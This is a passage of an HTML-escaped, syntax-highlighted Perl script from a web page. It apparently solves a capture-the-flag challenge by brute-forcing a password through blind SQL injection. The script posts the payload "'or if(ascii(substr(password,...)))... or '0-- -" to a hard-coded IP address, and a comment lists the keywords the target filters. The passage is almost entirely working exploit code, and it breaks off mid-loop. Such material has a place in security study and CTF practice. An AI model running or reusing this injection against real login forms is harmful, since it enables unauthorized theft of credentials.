&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;5&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;0&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;10&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;Encode&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;IO&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;URL&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;Encode&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;qw&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;url_decode_utf8 url_encode_utf8&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;Data&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;Dumper&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;HTTP&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;Cookies&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;use&lt;/span&gt;&amp;nbsp;LWP&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;UserAgent&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#Filtrage en place:&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;# &amp;nbsp; &amp;nbsp;&quot;replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*&quot;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;## si besoin d&#39;un biscuit...&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$cookie_jar&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;HTTP&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;Cookies&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; file &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;cookies.txt&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$UserAgent&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;LWP&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;UserAgent&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$UserAgent&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;cookie_jar&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$cookie_jar&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;## Get Password:&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Arg&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Flag&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;for&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$i&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;&amp;lt;=&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;126&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;//&lt;/span&gt;&amp;nbsp;englobe min&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;specials char&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;MAJ&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;number&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$getpass&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;url_decode_utf8&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;&#39;or if(ascii(substr(password,$Arg,1))=$i,1,0) or &#39;0-- -&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#print(&quot;[*]Trying post data: $getpass\n&quot;);&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Url&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$response&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$UserAgent&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Url&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st_h&quot; style=&quot;color: red;&quot;&gt;&#39;password&#39;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$getpass&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$content&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;decoded_content&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
